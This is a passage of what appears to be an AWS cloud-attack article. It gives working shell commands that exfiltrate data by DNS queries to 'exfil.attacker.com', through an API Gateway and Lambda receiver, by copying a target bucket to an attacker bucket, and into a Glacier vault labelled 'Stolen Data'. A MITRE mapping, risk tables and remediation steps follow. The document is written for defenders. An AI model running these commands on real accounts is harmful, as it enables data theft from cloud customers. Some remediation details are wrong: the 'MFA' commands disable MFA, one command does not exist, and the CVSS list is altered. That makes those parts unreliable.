    &lt;/span&gt;aws route53 list-hosted-zones-by-name &lt;span class="nt"&gt;--dns-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$chunk&lt;/span&gt;&lt;span class="s2"&gt;.exfil.attacker.com"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  5.3 API Gateway Exfiltration
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create API Gateway&lt;/span&gt;
aws apigateway create-rest-api &lt;span class="nt"&gt;--name&lt;/span&gt; exfil-api

&lt;span class="c"&gt;# Get API ID&lt;/span&gt;
&lt;span class="nv"&gt;API_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws apigateway get-rest-apis &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"restApis[?name=='exfil-api'].id"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Create Lambda to receive data&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; receiver.py
import json
def lambda_handler(event, context):
    with open('/tmp/exfil.txt', 'a') as f:
        f.write(json.dumps(event))
    return {'statusCode': 200}
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;zip receiver.zip receiver.py

aws lambda create-function &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--function-name&lt;/span&gt; exfil-receiver &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--runtime&lt;/span&gt; python3.9 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--handler&lt;/span&gt; receiver.lambda_handler &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--zip-file&lt;/span&gt; fileb://receiver.zip &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt; arn:aws:iam::ACCOUNT:role/api-role

&lt;span class="c"&gt;# Create integration&lt;/span&gt;
aws apigateway create-resource &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &lt;span class="nv"&gt;$API_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--parent-id&lt;/span&gt; ROOT-RESOURCE-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--path-part&lt;/span&gt; exfil

aws apigateway put-method &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &lt;span class="nv"&gt;$API_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-id&lt;/span&gt; RESOURCE-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-method&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--authorization-type&lt;/span&gt; NONE

aws apigateway put-integration &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &lt;span class="nv"&gt;$API_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-id&lt;/span&gt; RESOURCE-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-method&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--type&lt;/span&gt; AWS &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--integration-http-method&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--uri&lt;/span&gt; arn:aws:apigateway:REGION:lambda:path/2015-03-31/functions/arn:aws:lambda:REGION:ACCOUNT:function:exfil-receiver/invocations

&lt;span class="c"&gt;# Deploy API&lt;/span&gt;
aws apigateway create-deployment &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &lt;span class="nv"&gt;$API_ID&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--stage-name&lt;/span&gt; prod

&lt;span class="c"&gt;# Invoke API&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://&lt;span class="nv"&gt;$API_ID&lt;/span&gt;.execute-api.REGION.amazonaws.com/prod/exfil &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @sensitive-data.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  5.4 CloudFront Distribution Exfil
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create CloudFront distribution&lt;/span&gt;
aws cloudfront create-distribution &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--origin-domain-name&lt;/span&gt; attacker-exfil-bucket.s3.amazonaws.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--default-root-object&lt;/span&gt; exfil/data.json

&lt;span class="c"&gt;# Get distribution URL&lt;/span&gt;
&lt;span class="nv"&gt;DIST_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws cloudfront list-distributions &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"DistributionList.Items[?Status=='Deployed'].DomainName"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; text&lt;span class="si"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Data now accessible via CloudFront URL&lt;/span&gt;
&lt;span class="c"&gt;# https://$DIST_URL&lt;/span&gt;

&lt;span class="c"&gt;# Copy data through CloudFront&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://TARGET-BUCKET/sensitive.txt s3://attacker-bucket/exfil/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--metadata-directive&lt;/span&gt; REPLACE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  5.5 Glacier Archive Exfiltration
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create Glacier vault&lt;/span&gt;
aws glacier create-vault &lt;span class="nt"&gt;--account-id&lt;/span&gt; - &lt;span class="nt"&gt;--vault-name&lt;/span&gt; exfil-vault

&lt;span class="c"&gt;# Create Glacier archive with exfiltrated data&lt;/span&gt;
aws glacier upload-archive &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--account-id&lt;/span&gt; - &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--vault-name&lt;/span&gt; exfil-vault &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--archive-description&lt;/span&gt; &lt;span class="s2"&gt;"Stolen Data"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--body&lt;/span&gt; file://sensitive-data.tar.gz

&lt;span class="c"&gt;# Or export to S3&lt;/span&gt;
aws glacier initiate-job &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--account-id&lt;/span&gt; - &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--vault-name&lt;/span&gt; TARGET-VAULT &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--job-parameters&lt;/span&gt; &lt;span class="s1"&gt;'{"Type":"archive-retrieval","ArchiveId":"ARCHIVE-ID"}'&lt;/span&gt;

&lt;span class="c"&gt;# Wait for job completion&lt;/span&gt;
aws glacier get-job-output &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--account-id&lt;/span&gt; - &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--job-id&lt;/span&gt; JOB-ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output-file&lt;/span&gt; recovered-data.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. MITRE ATT&amp;amp;CK Mapping
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Cloud-Specific Techniques
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique ID&lt;/th&gt;
&lt;th&gt;Technique Name&lt;/th&gt;
&lt;th&gt;AWS Implementation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;Leaked AWS keys, IAM user compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1189&lt;/td&gt;
&lt;td&gt;Drive-by Compromise&lt;/td&gt;
&lt;td&gt;SSRF to IMDSv1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1133&lt;/td&gt;
&lt;td&gt;External Remote Services&lt;/td&gt;
&lt;td&gt;Exposed S3, RDS, APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1136.003&lt;/td&gt;
&lt;td&gt;Create Account: Cloud Account&lt;/td&gt;
&lt;td&gt;Backdoor IAM users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1053.005&lt;/td&gt;
&lt;td&gt;Scheduled Task: Cloud Tasks&lt;/td&gt;
&lt;td&gt;EventBridge rules, Lambda triggers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;T1550.001&lt;/td&gt;
&lt;td&gt;Use Alternate Authentication Material: Cloud Tokens&lt;/td&gt;
&lt;td&gt;Long-lived tokens&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;IAM role assumption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;T1098.003&lt;/td&gt;
&lt;td&gt;Account Manipulation: Additional Cloud Roles&lt;/td&gt;
&lt;td&gt;PassRole abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;T1021.008&lt;/td&gt;
&lt;td&gt;Remote Services: Cloud Services&lt;/td&gt;
&lt;td&gt;SSM, Lambda invocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;T1550.001&lt;/td&gt;
&lt;td&gt;Use Alternate Authentication Material: Cloud Tokens&lt;/td&gt;
&lt;td&gt;Cross-account role assumption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exfiltration&lt;/td&gt;
&lt;td&gt;T1567.001&lt;/td&gt;
&lt;td&gt;Exfiltration Over Web Service: Cloud Storage&lt;/td&gt;
&lt;td&gt;S3 transfer to attacker bucket&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Phase 5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exfiltration&lt;/td&gt;
&lt;td&gt;T1048.003&lt;/td&gt;
&lt;td&gt;Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol&lt;/td&gt;
&lt;td&gt;DNS exfiltration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  6. Risk Assessment
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 Risk Matrix
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Likelihood&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;Risk Level&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Critical&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;🔴 Critical&lt;/td&gt;
&lt;td&gt;Full account compromise, data breach&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;🔴 High&lt;/td&gt;
&lt;td&gt;Administrative access, lateral movement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;🟠 High&lt;/td&gt;
&lt;td&gt;Limited privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;🟡 Medium&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;🟡 Medium&lt;/td&gt;
&lt;td&gt;Minor misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  6.2 Risk Scoring Methodology
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CVSS v3.1 Base Score Components:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Attack Vector (AV):&lt;/strong&gt; Network (N) / Adjacent (A) / Local (L) / Physical (P)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack Complexity (AC):&lt;/strong&gt; Low (L) / High (H)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privileges Required (PR):&lt;/strong&gt; None (N) / Low (L) / High (H)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User Interaction (UI):&lt;/strong&gt; None (N) / Required (R)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope (S):&lt;/strong&gt; Unchanged (U) / Changed (C)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Confidentiality (C):&lt;/strong&gt; None (N) / Low (L) / High (H)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity (I):&lt;/strong&gt; None (N) / Low (L) / High (H)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Business Impact (B):&lt;/strong&gt; None (N) / Low (L) / High (H)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6.3 Common AWS Vulnerabilities
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CVSS Score&lt;/th&gt;
&lt;th&gt;Prevalence&lt;/th&gt;
&lt;th&gt;Business Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Overly Permissive IAM Policies&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;Very High&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed S3 Buckets&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IMDSv1 Exploitation&lt;/td&gt;
&lt;td&gt;8.6&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-Account Trust Misconfiguration&lt;/td&gt;
&lt;td&gt;8.1&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unencrypted S3 Data&lt;/td&gt;
&lt;td&gt;5.3&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CloudTrail Disabled&lt;/td&gt;
&lt;td&gt;6.5&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Public RDS Instances&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lambda Event Injection&lt;/td&gt;
&lt;td&gt;7.8&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  7. Remediation Recommendations
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Immediate Actions (Critical)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  IAM Security
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Enable IAM Access Analyzer&lt;/span&gt;
aws iam enable-access-analyzer

&lt;span class="c"&gt;# 2. Review all IAM policies&lt;/span&gt;
aws iam list-policies &lt;span class="nt"&gt;--scope&lt;/span&gt; Local
aws iam get-policy &lt;span class="nt"&gt;--policy-arn&lt;/span&gt; POLICY-ARN

&lt;span class="c"&gt;# 3. Remove unused IAM users&lt;/span&gt;
aws iam list-users &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'Users[?PasswordLastUsed==`null` &amp;amp;&amp;amp; !CreateDate&amp;gt;`2025-01-01`]'&lt;/span&gt;

&lt;span class="c"&gt;# 4. Enforce MFA for all users&lt;/span&gt;
aws iam create-login-profile &lt;span class="nt"&gt;--user-name&lt;/span&gt; USERNAME &lt;span class="nt"&gt;--password&lt;/span&gt; PASSWORD &lt;span class="nt"&gt;--no-mfa-serial&lt;/span&gt;
&lt;span class="c"&gt;# Change to require MFA:&lt;/span&gt;
aws iam update-login-profile &lt;span class="nt"&gt;--user-name&lt;/span&gt; USERNAME &lt;span class="nt"&gt;--password&lt;/span&gt; PASSWORD &lt;span class="nt"&gt;--no-mfa-serial&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  S3 Security
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Block public access at account level&lt;/span&gt;
aws s3api put-public-access-block &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--bucket&lt;/span&gt; YOUR-BUCKET &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--public-access-block-configuration&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"&lt;/span&gt;

&lt;span class="c"&gt;# 2. Enable S3 encryption&lt;/span&gt;
aws s3api put-bucket-encryption &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--bucket&lt;/span&gt; YOUR-BUCKET &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--server-side-encryption-configuration&lt;/span&gt; &lt;span class="s1"&gt;'{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "AES256"
      }
    }]
  }'&lt;/span&gt;

&lt;span class="c"&gt;# 3. Enable S3 versioning&lt;/span&gt;
aws s3api put-bucket-versioning &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--bucket&lt;/span&gt; YOUR-BUCKET &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--versioning-configuration&lt;/span&gt; &lt;span class="nv"&gt;Status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  CloudTrail &amp;amp; Logging
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Enable CloudTrail in all regions&lt;/span&gt;
aws cloudtrail create-trail &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; global-trail &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--s3-bucket-name&lt;/span&gt; cloudtrail-logs-bucket &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--is-multi-region-trail&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--include-global-service-events&lt;/span&gt;

&lt;span class="c"&gt;# 2. Enable CloudTrail log file validation&lt;/span&gt;
aws cloudtrail update-trail &lt;span class="nt"&gt;--name&lt;/span&gt; global-trail &lt;span class="nt"&gt;--validate&lt;/span&gt;

&lt;span class="c"&gt;# 3. Enable GuardDuty&lt;/span&gt;
aws guardduty create-detector &lt;span class="nt"&gt;--enable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Short-Term Actions (High)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Network Segmentation
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Create private subnets&lt;/span&gt;
aws ec2 create-vpc &lt;span class="nt"&gt;--cidr-block&lt;/span&gt; 10.0.0.0/16

&lt;span class="c"&gt;# 2. Configure security groups with least privilege&lt;/span&gt;
aws ec2 create-security-group &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-name&lt;/span&gt; app-sg &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--description&lt;/span&gt; &lt;span class="s2"&gt;"Application security group"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--vpc-id&lt;/span&gt; vpc-12345678

&lt;span class="c"&gt;# 3. Restrict inbound traffic&lt;/span&gt;
aws ec2 authorize-security-group-ingress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-12345678 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--protocol&lt;/span&gt; tcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--port&lt;/span&gt; 443 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cidr&lt;/span&gt; 10.0.0.0/8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Secrets Management
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Migrate to AWS Secrets Manager&lt;/span&gt;
aws secretsmanager create-secret &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; production/db/password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--secret-string&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"admin","password":"complex-password"}'&lt;/span&gt;

&lt;span class="c"&gt;# 2. Enable automatic rotation&lt;/span&gt;
aws secretsmanager rotate-secret &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--secret-id&lt;/span&gt; production/db/password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rotation-rules&lt;/span&gt; &lt;span class="nv"&gt;AutomaticallyAfterDays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30

&lt;span class="c"&gt;# 3. Remove hardcoded credentials from code&lt;/span&gt;
&lt;span class="c"&gt;# Search for patterns:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"AKIA[0-9A-Z]{16}"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"aws_secret_access_key"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Long-Term Actions (Medium)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Infrastructure as Code Security
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Use CloudFormation with security scanning&lt;/span&gt;
cfn-lint template.yaml

&lt;span class="c"&gt;# 2. Implement policy as code with Open Policy Agent&lt;/span&gt;
opa check &lt;span class="nt"&gt;-p&lt;/span&gt; policies/ &lt;span class="nt"&gt;-d&lt;/span&gt; resources/

&lt;span class="c"&gt;# 3. Use AWS Config rules&lt;/span&gt;
aws configservice put-config-rule &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--config-rule&lt;/span&gt; &lt;span class="s1"&gt;'{
    "ConfigRuleName": "s3-bucket-public-read-prohibited",
    "Source": {
      "Owner": "AWS",
      "SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED"
    }
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Monitoring &amp;amp; Detection
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Create CloudWatch alarms for suspicious activity&lt;/span&gt;
aws cloudwatch put-metric-alarm &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--alarm-name&lt;/span&gt; &lt;span class="s2"&gt;"HighConsoleLogins"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--metric-name&lt;/span&gt; ConsoleLogin &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; AWS/Console &lt;span class="se"&gt;\&lt;/span&gt;
